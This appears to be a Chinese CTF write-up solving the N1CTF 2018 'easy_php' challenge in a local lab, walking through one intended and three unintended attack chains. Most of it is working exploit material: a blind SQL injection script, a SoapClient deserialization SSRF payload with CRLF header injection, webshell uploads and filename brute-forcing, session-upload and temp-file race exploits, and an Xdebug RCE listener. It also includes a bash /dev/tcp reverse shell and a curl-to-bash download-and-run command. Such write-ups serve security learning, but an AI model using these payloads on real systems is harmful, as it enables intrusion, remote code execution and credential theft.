前言
最近做题,两次遇见这个题。第一次看着writeup都没复现成功。emm(菜的真实。。。)。这次自己搭的环境用三种方法来复现这个题。
环境搭建
官方给了环境,有dockerfile。所以比较容易搭建的。官方文件在docker上安装上docker-compose(linux上需要安装),在相应目录下,运行docker-compose build,docker-compose up即可。
可以关闭后用docker-compose start开启。
官方预期解法
通过扫描发现存在源码:
index.php~
<?php
require_once 'user.php';
$C = new Customer();
if(isset($_GET['action']))
require_once 'views/'.$_GET['action'];
else
header('Location: index.php?action=login');
尝试user.php~发现也存在源码。(源码太多,就不粘了)
在user.php~发现了config.php同样存在config.php~
发现存在views目录发现,尝试访问发现一堆源码:
审计源码:
发现存在sql注入。
主要代码:
function publish()
{
if(!$this->check_login()) return false;
if($this->is_admin == 0)
{
if(isset($_POST['signature']) && isset($_POST['mood'])) {
$mood = addslashes(serialize(new Mood((int)$_POST['mood'],get_ip())));
$db = new Db();
@$ret = $db->insert(array('userid','username','signature','mood'),'ctf_user_signature',array($this->userid,$this->username,$_POST['signature'],$mood));
if($ret)
return true;
else
return false;
}
}
else
{
if(isset($_FILES['pic'])) {
if (upload($_FILES['pic'])){
echo 'upload ok!';
return true;
}
else {
echo "upload file error";
return false;
}
}
else
return false;
}
}
这里我们发现这里对所有参数的单引号,双引号,NULL 字符,反斜线进行转义(addsla_all()),然而我们发现在get_column函数中对参数进行的是反引号进行包裹,所以并不影响我们注入,这里强制将mood参数转换成整型,所以只能在signature参数上注入。
注册并登录后
脚本:
import requests
import string
import urllib
url = "http://192.168.190.140/index.php?action=publish"
flag = ""
cookie={
"PHPSESSID":"256d0bbef5d2be1e63186dd96c64a7f9"
}
for i in range(1,33):
for j in "0123456789."+string.letters+"!@#$^&*(){}=+`~_":
s='1`,if(ascii(substr((select username from ctf_users where is_admin=1),'+str(i)+',1))='+str(ord(j))+',sleep(3),0))#'
# s='1`,if(ascii(substr((select password from ctf_users where is_admin=1),'+str(i)+',1))='+str(ord(j))+',sleep(3),0))#'
# s='1`,if(ascii(substr((select password from ctf_users where username=0x61646d696e),'+str(i)+',1))='+str(ord(j))+',sleep(3),0))#'
data = {
"signature":s,
"mood":"1"
}
try:
r =requests.post(url=url,data=data,cookies=cookie,timeout=2.5)
# print i
except:
flag+=j
print flag
break
#username admin
#password 2533f492a796a3227b0c6f91d102cc36 nu1ladmin
尝试登陆,发现登陆不成。想到了admin关闭了这个选项 allow_diff_ip
,既不能异地登录。
获取管理员登陆的ip。通过上面的注入。得到ip为127.0.0.1
。
获取ip的函数 getip()
。
function get_ip(){
return $_SERVER['REMOTE_ADDR'];
}
看上去是让你绕过 $_SERVER['REMOTE_ADDR']
伪造ip。(菜鸡在这表示jj)
再来审计源码,我们发现存在反序列化漏洞。:
在 user.php
函数 showmess()
里:
因为,通过sql注入,我们可以控制mood参数。
1`, {serialize object})#
把反序列化对象存在数据库中。然后显示新闻的时候,就会会实例化对象。即访问index.php?action=index
的时候触发。
但是我们该利用哪个类呢?(菜鸡哭晕)
想起phpinfo了。
发现soap拓展开着啊。soap有SoapClient
类。
这个类是用来创建soap数据报文,与wsdl接口进行交互的。
这个类的基本用法:
通过传入两个参数,第一个是 $url
, 即目标url, 第二个参数是一个数组,里面是soap请求的一些参数和属性。
第二个参数的相关介绍:
我们可以看到这个类传入的第一个参数为 $wsdl
控制是否是wsdl
模式,如果为NULL
,就是非wsdl
模式.
如果是非wsdl
模式,反序列化的时候就会对options
中的url
进行远程soap请求,
如果是wsdl模式,在序列化之前
就会对$url参数进行请求,从而无法可控序列化数据。
我们可以尝试一下,看看是否能发送soap请求。
<?php
$a = new SoapClient(null, array('location' => "http://192.168.190.128:9000",'uri'=> "aaa"));
echo serialize($a);
//运行一下得到
//O:10:"SoapClient":3:{s:3:"uri";s:3:"aaa";s:8:"location";s:27:"http://192.168.190.128:9000";s:13:"_soap_version";i:1;}
这里的ip为我们的vps。
这时我们要把数据存入数据库。
然后,我们开启对我们vps的监听,在vps上运行nc -lvv 9000
。
然后我们来让服务器发送请求,即访问index.php?action=index
查看我们的监听。成功监听到soap请求。
现在我们已经触发了SSRF,但可以看到SOAP
原始的数据是不符合POST
请求的数据格式的,所以,我们要想办法控制soap
请求使它符合post
请求,从而实现我们的目的。
你可以看到我成功获得了soap请求, 我们可以发现我们可控的地方是 uri
。
所以我们可以伪造一个请求。在header里 User-Agent
在 Content-Type
前面, 我们我们可以很轻松的控制整个POST
报文。
wupco师傅写的简单poc:
<?php
$target = 'http://192.168.190.128:9000';
$post_string = 'a=b&flag=aaa';
$headers = array(
'X-Forwarded-For: 127.0.0.1',
'Cookie: xxxx=1234'
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'alex^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri' => "aaab"));
$aaa = serialize($b);
$aaa = str_replace('^^','%0d%0a',$aaa);
$aaa = str_replace('&','%26',$aaa);
echo $aaa;
//O:10:"SoapClient":4:{s:3:"uri";s:4:"aaab";s:8:"location";s:27:"http://192.168.190.128:9000";s:11:"_user_agent";s:137:"wupco%0d%0aContent-Type: application/x-www-form-urlencoded%0d%0aX-Forwarded-For: 127.0.0.1%0d%0aCookie: xxxx=1234%0d%0aContent-Length: 12%0d%0a%0d%0aa=b%26flag=aaa";s:13:"_soap_version";i:1;}
发送数据到数据库,然后访问index.php?action=index
,我们成功打到请求内容。
这里是soap
请求的content/type
是text/xml; charset=utf‐8,我们没办法直接覆盖掉原本的content/type,而我们知道,要能通过$_POST获取数据,content/type要是application/x‐www‐form‐urlencoded
才行。然后我们从SOAP的参数说明中知道:soap中是支持User-Agent
的,并且在header里 User-Agent 是在 Content-Type 前面的,所以我们可以通过控制User-Agent
来控制整个POST报文。
现在我们来构造我们的请求。
<?php
$target = 'http://127.0.0.1/index.php?action=login';
$post_string = 'username=admin&password=nu1ladmin&code=63732';
$headers = array(
'X-Forwarded-For: 127.0.0.1',
'Cookie: PHPSESSID=j2qdvjf36op9ge50lsjo3bske5'
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'alex^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri' => "aaab"));
$aaa = serialize($b);
$aaa = str_replace('^^',"\r\n",$aaa);
$aaa = str_replace('&','&',$aaa);
echo bin2hex($aaa);
?>
这里的要控制cookie和code,这里的session和code是我们用新的浏览器访问题目,得到的新的cookie和code。用来伪造管理员本地登陆。
我们用我们的账号发送数据到数据库。
然后访问index.php?action=index
。这时我们就成功伪造了管理员本地登陆请求。然后刷新新浏览器的页面,就登陆成功了。
这时我们可以再审审upload函数:
function upload($file){
$file_size = $file['size'];
if($file_size>2*1024*1024) {
echo "pic is too big!";
return false;
}
$file_type = $file['type'];
if($file_type!="image/jpeg" && $file_type!='image/pjpeg') {
echo "file type invalid";
return false;
}
if(is_uploaded_file($file['tmp_name'])) {
$uploaded_file = $file['tmp_name'];
$user_path = "/app/adminpic";
if (!file_exists($user_path)) {
mkdir($user_path);
}
$file_true_name = str_replace('.','',pathinfo($file['name'])['filename']);
$file_true_name = str_replace('/','',$file_true_name);
$file_true_name = str_replace('\\','',$file_true_name);
$file_true_name = $file_true_name.time().rand(1,100).'.jpg';
$move_to_file = $user_path."/".$file_true_name;
if(move_uploaded_file($uploaded_file,$move_to_file)) {
if(stripos(file_get_contents($move_to_file),'<?php')>=0)
system('sh /home/nu1lctf/clean_danger.sh');
return $file_true_name;
}
else
return false;
}
else
return false;
}
如果你上传的文件包含 <?php
,就会运行一个bash clean_danger.sh
。
用LFI读取clean_danger.sh。http://192.168.190.140/index.php?action=../../../../../home/nu1lctf/clean_danger.sh
得到:
cd /app/adminpic/
rm *.jpg
如何绕过它呢?
最简单的是,传入一个js样式的shell。
这样就有了shell。但是发了个比较gay的问题。emmm
没有文件名,上传之后爆破文件名。
这里给了命名的方式。
上传之前先获得一下时间戳。
<?php
date_default_timezone_set("PRC");
$time = time();
echo $time;
?>//1565173525
爆破脚本:
#coding=utf-8
import requests
time = 156517352500 #这里比时间戳多了两位。因为rand函数。
url = 'http://192.168.190.140/index.php?action=../../../../app/adminpic/jsshell{}.jpg'
for i in range(10000):
tmp = time + i
ul = url.format(tmp)
html = requests.get(ul).status_code
if html == 200:
print(ul)
break
得到路径:
即为shell,菜刀连接发现并没有flag,猜测在数据库中。
但是很坑的是,蚁剑连不上。只能上菜刀了。http://192.168.190.140/index.php?action=../../../../run.sh
在/run.sh
中找到数据库的账号密码。
里面的反斜线是转义符,菜刀连的时候要去掉。
即可得到flag。
另一种绕过方式。
使用linux命令的一个feature
当我们创建诸如 -xa.jpg
的文件后。
我们不能通过 rm *
or rm *.jpg
删除它
除非 rm -r adminpic/
另外一种是使用短标签。
你可以发现 short_open_tag = Off
在 phpinfo
因为php版本高于5.4 你依然可以使用 <?=
拿到webshell
非预期解法一
利用session.upload。
session.upload_progress.enabled
这个参数在php.ini 默认开启,需要手动置为Off
如果不是Off,就会在上传的过程中生成上传进度文件。
看phpinfo可以看到upload_progress.enabled
关闭(我这是从比赛后的docker布置的,所以可能跟比赛时环境不一样)我们进后台改成开启,并且给出了session.save_path
修改后:
/var/lib/php5/sess_{your_php_session_id}
我们去包含一下试试http://192.168.190.140/index.php?action=../../../../var/lib/php5/sess_qqefair09hbdsolv24b41uo4l6
我们直接用官方给出的表单加以修改就可使用,我构造的payload:
<form action="http://192.168.190.143/" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?=`echo '<?php eval(\$_REQUEST[alex])?>'>alex.php`?>" />
<input type="file" name="file1" />
<input type="file" name="file2" />
<input type="submit" />
</form>
但是需要注意的是,cleanup是on,所以这里用了条件竞争,一遍疯狂发包,一遍疯狂请求。两个包:
得到:
说明我们竞争成功了,最后可以在/app/下找到写入的shell:
接下来就是找数据库密码,连接数据库获取密码了。
非预期解法二
/tmp/临时文件竞争
通过racing condition
来在临时文件被删除之前包含它。 这个想法的依据是FROM andreisamuilik/php5.5.9-apache2.4-mysql5.5
,这个镜像我们pull下来发现其中默认目录/var/www/phpinfo/index.php
有个phpinfo存在,然后就能利用lfi包含临时文件getshell了
因为phpinfo直接给出了临时文件的文件名与绝对路径
读取run.sh发现:
利用python不断伪造上传包,再根据phpinfo()返回的路径名去包含文件
一旦条件竞争成功,包含该文件即会触发写文件
在/app/目录下的intrd文件里写进我们的shell
然后即可达成getshell的目的
国外大哥的exp脚本:
## PHP : Winning the race condition vs Temporary File Upload - PHPInfo() exploit
# Alternative way to easy_php @ N1CTF2018, solved by intrd & shrimpgo - p4f team
# @license Creative Commons Attribution-ShareAlike 4.0 International License - http://creativecommons.org/licenses/by-sa/4.0/
## passwords.txt payload content
# <?php $c=fopen('/app/intrd','w');fwrite($c,'<?php passthru($_GET["f"]);?>');?>
import sys,Queue,threading,hashlib,os, requests, pickle, os.path, re
from subprocess import Popen, PIPE, STDOUT
NumOfThreads=50
queue = Queue.Queue()
class checkHash(threading.Thread):
def __init__(self,queue):
threading.Thread.__init__(self)
self.queue=queue
def run(self):
i=0
while True:
self.clear=self.queue.get()
passtry = self.clear
if passtry != "":
padding="A" * 5000
cookies = {
'PHPSESSID': '58dnkc9litj4ipv18837cutgg6',
'othercookie': padding
}
headers = {
'User-Agent': padding,
'Pragma': padding,
'Accept': padding,
'Accept-Language': padding,
'DNT': '1'
}
files = {'arquivo': open('passwords.txt','rb')}
reqs='http://192.168.190.143/index.php?action=../../var/www/phpinfo/index.php&a='+padding
#reqs='http://172.17.0.2:80/index.php?action=../../var/www/phpinfo/index.php&a='+padding
response = requests.post(reqs, headers=headers, cookies=cookies, files=files, verify=False)
data = response.content
data = re.search(r"(?<=tmp_name] => ).*", data).group(0)
print data
reqs = 'http://192.168.190.143/index.php?action=../..'+data
#reqs = 'http://172.17.0.2:80/index.php?action=../..'+data
print reqs
response = requests.get(reqs, verify=False)
data = response.content
print data
i+=1
self.queue.task_done()
for i in range(NumOfThreads):
t=checkHash(queue)
t.setDaemon(True)
t.start()
for x in range(0, 9999):
x=str(x)
queue.put(x.strip())
queue.join()
非预期解法三
xdebug
因为有
/var/www/phpinfo/index.php
可以发现:
对目标网站的phpinfo进行浏览,一旦发现
xdebug.remote_connect_back => On => On
xdebug.remote_cookie_expire_time => 3600 => 3600
xdebug.remote_enable => On => On
即可使用Xdebug进行连接,尝试直接命令执行。
首先在自己的vps(192.168.190.128)开启监听:
nc -lvv 9000
在本机上执行命令触发xdebug远程连接:
curl 'http://192.168.190.143/index.php?XDEBUG_SESSION_START=phpstrom' -H "X-Forwarded-For:192.168.190.128"
讲解:
curl 'http://题目ip:port/index.php?XDEBUG_SESSION_START=phpstrom' -H "X-Forwarded-For: vps_ip"
发现响应内容:
为了方便利用进行命令执行,Ricterz师傅已经写好了利用工具(tql):
#!/usr/bin/python2
import socket
ip_port = ('0.0.0.0',9000)
sk = socket.socket()
sk.bind(ip_port)
sk.listen(10)
conn, addr = sk.accept()
while True:
client_data = conn.recv(1024)
print(client_data)
data = raw_input('>> ')
conn.sendall('eval -i 1 -- %s\x00' % data.encode('base64'))
将该文件放在vps上,保存为xdebug.py。运行
python xdebug.py
然后利用curl触发
curl 'http://192.168.190.143/index.php?XDEBUG_SESSION_START=phpstrom' -H "X-Forwarded-For:192.168.190.128"
讲解:
curl 'http://题目ip:port/index.php?XDEBUG_SESSION_START=phpstrom' -H "X-Forwarded-For: vps_ip"
然后执行命令:
system("curl http://192.168.190.128:8888");
解释:
system("curl vps_ip:8888")
发现可以执行命令。得到:
然后就是反弹shell了。
这里利用使用:
bash -i >& /dev/tcp/192.168.190.128/8888 0>&1
解释:
bash -i >& /dev/tcp/vps_ip/8888 0>&1
把命令写在vps上,开启web服务。(让目标网站能够访问到。)在get.txt上写入命令
bash -i >& /dev/tcp/192.168.190.128/8888 0>&1
解释:
bash -i >& /dev/tcp/vps_ip/8888 0>&1
然后执行:
system("curl http://192.168.190.1/get.txt|bash");
解释:
利用curl把文件下载下来,然后用bash来解释。(192.168.190.1这是我本机,只是为了方便,如果是比赛应该放在vps上,并且需要能访问到。(公网))
即可反弹shell。
这里需要注意:
即有的时候看见phpinfo的
xdebug.remote_connect_back
xdebug.remote_enable
关闭
未必就不能就行xdebug回连.
比如国际赛2018-N1CTF
phpinfo中显示的信息是php-cli
但是实际上跑着的是php-fpm,而他是开着的
所以最后好命令测试一下。
curl 'http://题目ip:port/index.php?XDEBUG_SESSION_START=phpstrom' -H "X-Forwarded-For: vps_ip"
看有没有回连即可。
总结
wupco师傅tql,这个题涉及的知识点也太多了,学习了。。。还是太菜了,需要继续努力,加油。。。